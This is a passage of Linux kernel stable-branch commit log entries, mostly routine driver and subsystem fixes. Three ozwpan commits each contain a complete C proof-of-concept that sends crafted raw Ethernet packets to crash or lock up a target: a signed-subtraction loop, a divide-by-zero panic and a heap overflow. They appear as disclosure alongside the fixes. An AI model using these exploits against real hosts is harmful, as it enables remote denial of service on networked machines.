    adding a request. However since there was nothing on the active lists
    i915_gem_retire_requests() didn't clean those up, and so the idle work
    never runs, and we leave the GPU "busy" during suspend resulting in a
    WARN later.
    
    Signed-off-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
    Reviewed-by: Chris Wilson <chris@chris-wilson.co.uk>
    Signed-off-by: Jani Nikula <jani.nikula@intel.com>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 7c035c1b98a6604a27292143403c5bf4e3deec49
Author: Jason A. Donenfeld <Jason@zx2c4.com>
Date:   Fri May 29 13:07:01 2015 +0200

    ozwpan: unchecked signed subtraction leads to DoS
    
    commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream.
    
    The subtraction here was using a signed integer and did not have any
    bounds checking at all. This commit adds proper bounds checking, made
    easy by use of an unsigned integer. This way, a single packet won't be
    able to remotely trigger a massive loop, locking up the system for a
    considerable amount of time. A PoC follows below, which requires
    ozprotocol.h from this module.
    
    =-=-=-=-=-=
    
     #include <arpa/inet.h>
     #include <linux/if_packet.h>
     #include <net/if.h>
     #include <netinet/ether.h>
     #include <stdio.h>
     #include <string.h>
     #include <stdlib.h>
     #include <endian.h>
     #include <sys/ioctl.h>
     #include <sys/socket.h>
    
     #define u8 uint8_t
     #define u16 uint16_t
     #define u32 uint32_t
     #define __packed __attribute__((__packed__))
     #include "ozprotocol.h"
    
    static int hex2num(char c)
    {
    	if (c >= '0' && c <= '9')
    		return c - '0';
    	if (c >= 'a' && c <= 'f')
    		return c - 'a' + 10;
    	if (c >= 'A' && c <= 'F')
    		return c - 'A' + 10;
    	return -1;
    }
    static int hwaddr_aton(const char *txt, uint8_t *addr)
    {
    	int i;
    	for (i = 0; i < 6; i++) {
    		int a, b;
    		a = hex2num(*txt++);
    		if (a < 0)
    			return -1;
    		b = hex2num(*txt++);
    		if (b < 0)
    			return -1;
    		*addr++ = (a << 4) | b;
    		if (i < 5 && *txt++ != ':')
    			return -1;
    	}
    	return 0;
    }
    
    int main(int argc, char *argv[])
    {
    	if (argc < 3) {
    		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
    		return 1;
    	}
    
    	uint8_t dest_mac[6];
    	if (hwaddr_aton(argv[2], dest_mac)) {
    		fprintf(stderr, "Invalid mac address.\n");
    		return 1;
    	}
    
    	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
    	if (sockfd < 0) {
    		perror("socket");
    		return 1;
    	}
    
    	struct ifreq if_idx;
    	int interface_index;
    	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
    	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
    		perror("SIOCGIFINDEX");
    		return 1;
    	}
    	interface_index = if_idx.ifr_ifindex;
    	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
    		perror("SIOCGIFHWADDR");
    		return 1;
    	}
    	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
    
    	struct {
    		struct ether_header ether_header;
    		struct oz_hdr oz_hdr;
    		struct oz_elt oz_elt;
    		struct oz_elt_connect_req oz_elt_connect_req;
    		struct oz_elt oz_elt2;
    		struct oz_multiple_fixed oz_multiple_fixed;
    	} __packed packet = {
    		.ether_header = {
    			.ether_type = htons(OZ_ETHERTYPE),
    			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
    			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    		},
    		.oz_hdr = {
    			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
    			.last_pkt_num = 0,
    			.pkt_num = htole32(0)
    		},
    		.oz_elt = {
    			.type = OZ_ELT_CONNECT_REQ,
    			.length = sizeof(struct oz_elt_connect_req)
    		},
    		.oz_elt_connect_req = {
    			.mode = 0,
    			.resv1 = {0},
    			.pd_info = 0,
    			.session_id = 0,
    			.presleep = 0,
    			.ms_isoc_latency = 0,
    			.host_vendor = 0,
    			.keep_alive = 0,
    			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
    			.max_len_div16 = 0,
    			.ms_per_isoc = 0,
    			.up_audio_buf = 0,
    			.ms_per_elt = 0
    		},
    		.oz_elt2 = {
    			.type = OZ_ELT_APP_DATA,
    			.length = sizeof(struct oz_multiple_fixed) - 3
    		},
    		.oz_multiple_fixed = {
    			.app_id = OZ_APPID_USB,
    			.elt_seq_num = 0,
    			.type = OZ_USB_ENDPOINT_DATA,
    			.endpoint = 0,
    			.format = OZ_DATA_F_MULTIPLE_FIXED,
    			.unit_size = 1,
    			.data = {0}
    		}
    	};
    
    	struct sockaddr_ll socket_address = {
    		.sll_ifindex = interface_index,
    		.sll_halen = ETH_ALEN,
    		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    	};
    
    	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
    		perror("sendto");
    		return 1;
    	}
    	return 0;
    }
    
    Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
    Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 556dc6bfcd0c488596b2f716bcc52283005a2c91
Author: Jason A. Donenfeld <Jason@zx2c4.com>
Date:   Fri May 29 13:07:00 2015 +0200

    ozwpan: divide-by-zero leading to panic
    
    commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream.
    
    A network supplied parameter was not checked before division, leading to
    a divide-by-zero. Since this happens in the softirq path, it leads to a
    crash. A PoC follows below, which requires the ozprotocol.h file from
    this module.
    
    =-=-=-=-=-=
    
     #include <arpa/inet.h>
     #include <linux/if_packet.h>
     #include <net/if.h>
     #include <netinet/ether.h>
     #include <stdio.h>
     #include <string.h>
     #include <stdlib.h>
     #include <endian.h>
     #include <sys/ioctl.h>
     #include <sys/socket.h>
    
     #define u8 uint8_t
     #define u16 uint16_t
     #define u32 uint32_t
     #define __packed __attribute__((__packed__))
     #include "ozprotocol.h"
    
    static int hex2num(char c)
    {
    	if (c >= '0' && c <= '9')
    		return c - '0';
    	if (c >= 'a' && c <= 'f')
    		return c - 'a' + 10;
    	if (c >= 'A' && c <= 'F')
    		return c - 'A' + 10;
    	return -1;
    }
    static int hwaddr_aton(const char *txt, uint8_t *addr)
    {
    	int i;
    	for (i = 0; i < 6; i++) {
    		int a, b;
    		a = hex2num(*txt++);
    		if (a < 0)
    			return -1;
    		b = hex2num(*txt++);
    		if (b < 0)
    			return -1;
    		*addr++ = (a << 4) | b;
    		if (i < 5 && *txt++ != ':')
    			return -1;
    	}
    	return 0;
    }
    
    int main(int argc, char *argv[])
    {
    	if (argc < 3) {
    		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
    		return 1;
    	}
    
    	uint8_t dest_mac[6];
    	if (hwaddr_aton(argv[2], dest_mac)) {
    		fprintf(stderr, "Invalid mac address.\n");
    		return 1;
    	}
    
    	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
    	if (sockfd < 0) {
    		perror("socket");
    		return 1;
    	}
    
    	struct ifreq if_idx;
    	int interface_index;
    	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
    	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
    		perror("SIOCGIFINDEX");
    		return 1;
    	}
    	interface_index = if_idx.ifr_ifindex;
    	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
    		perror("SIOCGIFHWADDR");
    		return 1;
    	}
    	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
    
    	struct {
    		struct ether_header ether_header;
    		struct oz_hdr oz_hdr;
    		struct oz_elt oz_elt;
    		struct oz_elt_connect_req oz_elt_connect_req;
    		struct oz_elt oz_elt2;
    		struct oz_multiple_fixed oz_multiple_fixed;
    	} __packed packet = {
    		.ether_header = {
    			.ether_type = htons(OZ_ETHERTYPE),
    			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
    			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    		},
    		.oz_hdr = {
    			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
    			.last_pkt_num = 0,
    			.pkt_num = htole32(0)
    		},
    		.oz_elt = {
    			.type = OZ_ELT_CONNECT_REQ,
    			.length = sizeof(struct oz_elt_connect_req)
    		},
    		.oz_elt_connect_req = {
    			.mode = 0,
    			.resv1 = {0},
    			.pd_info = 0,
    			.session_id = 0,
    			.presleep = 0,
    			.ms_isoc_latency = 0,
    			.host_vendor = 0,
    			.keep_alive = 0,
    			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
    			.max_len_div16 = 0,
    			.ms_per_isoc = 0,
    			.up_audio_buf = 0,
    			.ms_per_elt = 0
    		},
    		.oz_elt2 = {
    			.type = OZ_ELT_APP_DATA,
    			.length = sizeof(struct oz_multiple_fixed)
    		},
    		.oz_multiple_fixed = {
    			.app_id = OZ_APPID_USB,
    			.elt_seq_num = 0,
    			.type = OZ_USB_ENDPOINT_DATA,
    			.endpoint = 0,
    			.format = OZ_DATA_F_MULTIPLE_FIXED,
    			.unit_size = 0,
    			.data = {0}
    		}
    	};
    
    	struct sockaddr_ll socket_address = {
    		.sll_ifindex = interface_index,
    		.sll_halen = ETH_ALEN,
    		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    	};
    
    	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
    		perror("sendto");
    		return 1;
    	}
    	return 0;
    }
    
    Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
    Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 088a5881a6c3ceb58b8869654a6fff1bb10c01d7
Author: Jason A. Donenfeld <Jason@zx2c4.com>
Date:   Fri May 29 13:06:58 2015 +0200

    ozwpan: Use proper check to prevent heap overflow
    
    commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream.
    
    Since elt->length is a u8, we can make this variable a u8. Then we can
    do proper bounds checking more easily. Without this, a potentially
    negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
    resulting in a remotely exploitable heap overflow with network
    supplied data.
    
    This could result in remote code execution. A PoC which obtains DoS
    follows below. It requires the ozprotocol.h file from this module.
    
    =-=-=-=-=-=
    
     #include <arpa/inet.h>
     #include <linux/if_packet.h>
     #include <net/if.h>
     #include <netinet/ether.h>
     #include <stdio.h>
     #include <string.h>
     #include <stdlib.h>
     #include <endian.h>
     #include <sys/ioctl.h>
     #include <sys/socket.h>
    
     #define u8 uint8_t
     #define u16 uint16_t
     #define u32 uint32_t
     #define __packed __attribute__((__packed__))
     #include "ozprotocol.h"
    
    static int hex2num(char c)
    {
    	if (c >= '0' && c <= '9')
    		return c - '0';
    	if (c >= 'a' && c <= 'f')
    		return c - 'a' + 10;
    	if (c >= 'A' && c <= 'F')
    		return c - 'A' + 10;
    	return -1;
    }
    static int hwaddr_aton(const char *txt, uint8_t *addr)
    {
    	int i;
    	for (i = 0; i < 6; i++) {
    		int a, b;
    		a = hex2num(*txt++);
    		if (a < 0)
    			return -1;
    		b = hex2num(*txt++);
    		if (b < 0)
    			return -1;
    		*addr++ = (a << 4) | b;
    		if (i < 5 && *txt++ != ':')
    			return -1;
    	}
    	return 0;
    }
    
    int main(int argc, char *argv[])
    {
    	if (argc < 3) {
    		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
    		return 1;
    	}
    
    	uint8_t dest_mac[6];
    	if (hwaddr_aton(argv[2], dest_mac)) {
    		fprintf(stderr, "Invalid mac address.\n");
    		return 1;
    	}
    
    	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
    	if (sockfd < 0) {
    		perror("socket");
    		return 1;
    	}
    
    	struct ifreq if_idx;
    	int interface_index;
    	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
    	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
    		perror("SIOCGIFINDEX");
    		return 1;
    	}
    	interface_index = if_idx.ifr_ifindex;
    	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
    		perror("SIOCGIFHWADDR");
    		return 1;
    	}
    	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
    
    	struct {
    		struct ether_header ether_header;
    		struct oz_hdr oz_hdr;
    		struct oz_elt oz_elt;
    		struct oz_elt_connect_req oz_elt_connect_req;
    	} __packed connect_packet = {
    		.ether_header = {
    			.ether_type = htons(OZ_ETHERTYPE),
    			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
    			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    		},
    		.oz_hdr = {
    			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
    			.last_pkt_num = 0,
    			.pkt_num = htole32(0)
    		},
    		.oz_elt = {
    			.type = OZ_ELT_CONNECT_REQ,
    			.length = sizeof(struct oz_elt_connect_req)
    		},
    		.oz_elt_connect_req = {
    			.mode = 0,
    			.resv1 = {0},
    			.pd_info = 0,
    			.session_id = 0,
    			.presleep = 35,
    			.ms_isoc_latency = 0,
    			.host_vendor = 0,
    			.keep_alive = 0,
    			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
    			.max_len_div16 = 0,
    			.ms_per_isoc = 0,
    			.up_audio_buf = 0,
    			.ms_per_elt = 0
    		}
    	};
    
    	struct {
    		struct ether_header ether_header;
    		struct oz_hdr oz_hdr;
    		struct oz_elt oz_elt;
    		struct oz_get_desc_rsp oz_get_desc_rsp;
    	} __packed pwn_packet = {
    		.ether_header = {
    			.ether_type = htons(OZ_ETHERTYPE),
    			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
    			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    		},
    		.oz_hdr = {
    			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
    			.last_pkt_num = 0,
    			.pkt_num = htole32(1)
    		},
    		.oz_elt = {
    			.type = OZ_ELT_APP_DATA,
    			.length = sizeof(struct oz_get_desc_rsp) - 2
    		},
    		.oz_get_desc_rsp = {
    			.app_id = OZ_APPID_USB,
    			.elt_seq_num = 0,
    			.type = OZ_GET_DESC_RSP,
    			.req_id = 0,
    			.offset = htole16(0),
    			.total_size = htole16(0),
    			.rcode = 0,
    			.data = {0}
    		}
    	};
    
    	struct sockaddr_ll socket_address = {
    		.sll_ifindex = interface_index,
    		.sll_halen = ETH_ALEN,
    		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    	};
    
    	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
    		perror("sendto");
    		return 1;
    	}
    	usleep(300000);
    	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
    		perror("sendto");
    		return 1;
    	}
    	return 0;
    }
    
    Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
    Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 48e8020fcdc0c82cfb94de14761e9a0bbfe935e9
Author: Patrick Riphagen <patrick.riphagen@xsens.com>
Date:   Tue May 19 10:03:01 2015 +0200

    USB: serial: ftdi_sio: Add support for a Motion Tracker Development Board
    
    commit 1df5b888f54070a373a73b34488cc78c2365b7b4 upstream.
    
    This adds support for new Xsens device, Motion Tracker Development Board,
    using Xsens' own Vendor ID
    
    Signed-off-by: Patrick Riphagen <patrick.riphagen@xsens.com>
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 419985ece6a495030635ef3c98da066e6ccf5270
Author: Andy Grover <agrover@redhat.com>
Date:   Fri May 22 14:07:44 2015 -0700

    target/pscsi: Don't leak scsi_host if hba is VIRTUAL_HOST
    
    commit 5a7125c64def3b21f8147eca8b54949a60963942 upstream.
    
    See https://bugzilla.redhat.com/show_bug.cgi?id=1025672
    
    We need to put() the reference to the scsi host that we got in
    pscsi_configure_device(). In VIRTUAL_HOST mode it is associated with
    the dev_virt, not the hba_virt.
    
    Signed-off-by: Andy Grover <agrover@redhat.com>
    Signed-off-by: Nicholas Bellinger <nab@linux-iscsi.org>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 19cc68ff76c1704208ed0913292050531d9188de
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Thu May 28 23:09:19 2015 -0400

    d_walk() might skip too much
    
    commit 2159184ea01e4ae7d15f2017e296d4bc82d5aeb0 upstream.
    
    when we find that a child has died while we'd been trying to ascend,
    we should go into the first live sibling itself, rather than its sibling.
    
    Off-by-one in question had been introduced in "deal with deadlock in
    d_walk()" and the fix needs to be backported to all branches this one
    has been backported to.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit b31dfb226bf10b9b9bd58fe5bf0eceaef5d1bfe0
Author: Sasha Levin <sasha.levin@oracle.com>
Date:   Thu May 28 15:44:29 2015 -0700

    fs, omfs: add NULL terminator in the end up the token list
    
    commit dcbff39da3d815f08750552fdd04f96b51751129 upstream.
    
    match_token() expects a NULL terminator at the end of the token list so
    that it would know where to stop.  Not having one causes it to overrun
    to invalid memory.
    
    In practice, passing a mount option that omfs didn't recognize would
    sometimes panic the system.
    
    Signed-off-by: Sasha Levin <sasha.levin@oracle.com>
    Signed-off-by: Bob Copeland <me@bobcopeland.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 99672cc322169dc20ed97adf14a9a66a1ed053e8
Author: Rusty Russell <rusty@rustcorp.com.au>
Date:   Wed May 27 10:59:26 2015 +0930

    lguest: fix out-by-one error in address checking.
    
    commit 83a35114d0e4583e6b0ca39502e68b6a92e2910c upstream.
    
    This bug has been there since day 1; addresses in the top guest physical
    page weren't considered valid.  You could map that page (the check in
    check_gpte() is correct), but if a guest tried to put a pagetable there
    we'd check that address manually when walking it, and kill the guest.
    
    Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 67ba9818b3e9f2900c14c7d62456acfcca3b0ae1
Author: Alexei Starovoitov <ast@plumgrid.com>
Date:   Fri May 22 15:42:55 2015 -0700

    x86: bpf_jit: fix compilation of large bpf programs
    
    commit 3f7352bf21f8fd7ba3e2fcef9488756f188e12be upstream.
    
    x86 has variable length encoding. x86 JIT compiler is trying
    to pick the shortest encoding for given bpf instruction.
    While doing so the jump targets are changing, so JIT is doing
    multiple passes over the program. Typical program needs 3 passes.
    Some very short programs converge with 2 passes. Large programs
    may need 4 or 5. But specially crafted bpf programs may hit the
    pass limit and if the program converges on the last iteration
    the JIT compiler will be producing an image full of 'int 3' insns.
    Fix this corner case by doing final iteration over bpf program.
    
    Fixes: 0a14842f5a3c ("net: filter: Just In Time compiler for x86-64")
    Reported-by: Daniel Borkmann <daniel@iogearbox.net>
    Signed-off-by: Alexei Starovoitov <ast@plumgrid.com>
    Tested-by: Daniel Borkmann <daniel@iogearbox.net>
    Acked-by: Daniel Borkmann <daniel@iogearbox.net>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit b12c3f9ca060833d2d648919b2eba00e94f278ca
Author: Borislav Petkov <bp@suse.de>
Date:   Mon May 18 10:07:17 2015 +0200

    x86/mce: Fix MCE severity messages
    
    commit 17fea54bf0ab34fa09a06bbde2f58ed7bbdf9299 upstream.
    
    Derek noticed that a critical MCE gets reported with the wrong
    error type description:
    
      [Hardware Error]: CPU 34: Machine Check Exception: 5 Bank 9: f200003f000100b0
      [Hardware Error]: RIP !INEXACT! 10:<ffffffff812e14c1> {intel_idle+0xb1/0x170}
      [Hardware Error]: TSC 49587b8e321cb
      [Hardware Error]: PROCESSOR 0:306e4 TIME 1431561296 SOCKET 1 APIC 29
      [Hardware Error]: Some CPUs didn't answer in synchronization
      [Hardware Error]: Machine check: Invalid
    				   ^^^^^^^
    
    The last line with 'Invalid' should have printed the high level
    MCE error type description we get from mce_severity, i.e.
    something like:
    
      [Hardware Error]: Machine check: Action required: data load error in a user process
    
    this happens due to the fact that mce_no_way_out() iterates over
    all MCA banks and possibly overwrites the @msg argument which is
    used in the panic printing later.
    
    Change behavior to take the message of only and the (last)
    critical MCE it detects.
    
    Reported-by: Derek <denc716@gmail.com>
    Signed-off-by: Borislav Petkov <bp@suse.de>
    Cc: H. Peter Anvin <hpa@zytor.com>
    Cc: Linus Torvalds <torvalds@linux-foundation.org>
    Cc: Peter Zijlstra <peterz@infradead.org>
    Cc: Thomas Gleixner <tglx@linutronix.de>
    Cc: Tony Luck <tony.luck@intel.com>
    Link: http://lkml.kernel.org/r/1431936437-25286-3-git-send-email-bp@alien8.de
    Signed-off-by: Ingo Molnar <mingo@kernel.org>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit b816cc96f5c80b00bf2637024039da06a7f3713e
Author: Philippe Reynes <tremyfr@gmail.com>
Date:   Wed May 13 00:18:26 2015 +0200

    ARM: dts: imx27: only map 4 Kbyte for fec registers
    
    commit a29ef819f3f34f89a1b9b6a939b4c1cdfe1e85ce upstream.
    
    According to the imx27 documentation, fec has a 4 Kbyte
    memory space map. Moreover, the actual 16 Kbyte mapping
    overlaps the SCC (Security Controller) memory register
    space. So, we reduce the memory register space to 4 Kbyte.
    
    Signed-off-by: Philippe Reynes <tremyfr@gmail.com>
    Acked-by: Uwe Kleine-König <u.kleine-koenig@pengutronix.de>
    Fixes: 9f0749e3eb88 ("ARM i.MX27: Add devicetree support")
    Signed-off-by: Shawn Guo <shawn.guo@linaro.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 6121d7fda44a57fa459d859ca0ade1f09a762cd8
Author: Thadeu Lima de Souza Cascardo <cascardo@redhat.com>
Date:   Fri May 22 12:18:59 2015 -0300

    bridge: fix parsing of MLDv2 reports
    
    commit 47cc84ce0c2fe75c99ea5963c4b5704dd78ead54 upstream.
    
    When more than a multicast address is present in a MLDv2 report, all but
    the first address is ignored, because the code breaks out of the loop if
    there has not been an error adding that address.
    
    This has caused failures when two guests connected through the bridge
    tried to communicate using IPv6. Neighbor discoveries would not be
    transmitted to the other guest when both used a link-local address and a
    static address.
    
    This only happens when there is a MLDv2 querier in the network.
    
    The fix will only break out of the loop when there is a failure adding a
    multicast address.
    
    The mdb before the patch:
    
    dev ovirtmgmt port vnet0 grp ff02::1:ff7d:6603 temp
    dev ovirtmgmt port vnet1 grp ff02::1:ff7d:6604 temp
    dev ovirtmgmt port bond0.86 grp ff02::2 temp
    
    After the patch:
    
    dev ovirtmgmt port vnet0 grp ff02::1:ff7d:6603 temp
    dev ovirtmgmt port vnet1 grp ff02::1:ff7d:6604 temp
    dev ovirtmgmt port bond0.86 grp ff02::fb temp
    dev ovirtmgmt port bond0.86 grp ff02::2 temp
    dev ovirtmgmt port bond0.86 grp ff02::d temp
    dev ovirtmgmt port vnet0 grp ff02::1:ff00:76 temp
    dev ovirtmgmt port bond0.86 grp ff02::16 temp
    dev ovirtmgmt port vnet1 grp ff02::1:ff00:77 temp
    dev ovirtmgmt port bond0.86 grp ff02::1:ff00:def temp
    dev ovirtmgmt port bond0.86 grp ff02::1:ffa1:40bf temp
    
    Fixes: 08b202b67264 ("bridge br_multicast: IPv6 MLD support.")
    Reported-by: Rik Theys <Rik.Theys@esat.kuleuven.be>
    Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@redhat.com>
    Tested-by: Rik Theys <Rik.Theys@esat.kuleuven.be>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 08878d1cc1d2f80074dcb5452557ae34c771ac85
Author: Harald Freudenberger <freude@linux.vnet.ibm.com>
Date:   Thu May 21 10:01:11 2015 +0200

    crypto: s390/ghash - Fix incorrect ghash icv buffer handling.
    
    commit a1cae34e23b1293eccbcc8ee9b39298039c3952a upstream.
    
    Multitheaded tests showed that the icv buffer in the current ghash
    implementation is not handled correctly. A move of this working ghash
    buffer value to the descriptor context fixed this. Code is tested and
    verified with an multithreaded application via af_alg interface.
    
    Signed-off-by: Harald Freudenberger <freude@linux.vnet.ibm.com>
    Signed-off-by: Gerald Schaefer <geraldsc@linux.vnet.ibm.com>
    Reported-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    [lizf: Backported to 3.4:
     - adjust context
     - drop the change to memcpy()]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 0b80fa4b24f50a87c796970661e45d6edc524a08
Author: David Vrabel <david.vrabel@citrix.com>
Date:   Tue May 19 18:40:49 2015 +0100

    xen/events: don't bind non-percpu VIRQs with percpu chip
    
    commit 77bb3dfdc0d554befad58fdefbc41be5bc3ed38a upstream.
    
    A non-percpu VIRQ (e.g., VIRQ_CONSOLE) may be freed on a different
    VCPU than it is bound to.  This can result in a race between
    handle_percpu_irq() and removing the action in __free_irq() because
    handle_percpu_irq() does not take desc->lock.  The interrupt handler
    sees a NULL action and oopses.
    
    Only use the percpu chip/handler for per-CPU VIRQs (like VIRQ_TIMER).
    
      # cat /proc/interrupts | grep virq
       40:      87246          0  xen-percpu-virq      timer0
       44:          0          0  xen-percpu-virq      debug0
       47:          0      20995  xen-percpu-virq      timer1
       51:          0          0  xen-percpu-virq      debug1
       69:          0          0   xen-dyn-virq      xen-pcpu
       74:          0          0   xen-dyn-virq      mce
       75:         29          0   xen-dyn-virq      hvc_console
    
    Signed-off-by: David Vrabel <david.vrabel@citrix.com>
    [lizf: Backported to 3.4: adjust filename]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit c1de4ad549f4726df3844fff44049151abdd00f8
Author: Mark Hounschell <dmarkh@cfl.rr.com>
Date:   Wed May 13 10:49:09 2015 +0200

    sd: Disable support for 256 byte/sector disks
    
    commit 74856fbf441929918c49ff262ace9835048e4e6a upstream.
    
    256 bytes per sector support has been broken since 2.6.X,
    and no-one stepped up to fix this.
    So disable support for it.
    
    Signed-off-by: Mark Hounschell <dmarkh@cfl.rr.com>
    Signed-off-by: Hannes Reinecke <hare@suse.de>
    Signed-off-by: James Bottomley <JBottomley@Odin.com>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit cc81c42b3fe5cac84f025715260d9bff305e9968
Author: Ludovic Desroches <ludovic.desroches@atmel.com>
Date:   Wed May 6 15:16:46 2015 +0200

    mmc: atmel-mci: fix bad variable type for clkdiv
    
    commit 60c8f783a18feb95ad967c87e9660caf09fb4700 upstream.
    
    clkdiv is declared as an u32 but it can be set to a negative value
    causing a huge divisor value. Change its type to int to avoid this case.
    
    Signed-off-by: Ludovic Desroches <ludovic.desroches@atmel.com>
    Signed-off-by: Ulf Hansson <ulf.hansson@linaro.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit f126db0e684121668bc0ff4889dccd8f25a333b5
Author: David Henningsson <david.henningsson@canonical.com>
Date:   Wed May 13 13:28:54 2015 +0200

    ALSA: hda - Add Conexant codecs CX20721, CX20722, CX20723 and CX20724
    
    commit 6ffc0898b29a2811a6c0569c5dd9b581980110df upstream.
    
    This patch adds support for Conexant HD Audio codecs
    CX20721, CX20722, CX20723 and CX20724.
    
    BugLink: https://bugs.launchpad.net/bugs/1454656
    Signed-off-by: David Henningsson <david.henningsson@canonical.com>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 232efafc884cb59c406931f047418434ca2edecc
Author: Anton Blanchard <anton@samba.org>
Date:   Thu May 14 14:45:40 2015 +1000

    powerpc: Align TOC to 256 bytes
    
    commit 5e95235ccd5442d4a4fe11ec4eb99ba1b7959368 upstream.
    
    Recent toolchains force the TOC to be 256 byte aligned. We need
    to enforce this alignment in our linker script, otherwise pointers
    to our TOC variables (__toc_start, __prom_init_toc_start) could
    be incorrect.
    
    If they are bad, we die a few hundred instructions into boot.
    
    Signed-off-by: Anton Blanchard <anton@samba.org>
    Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
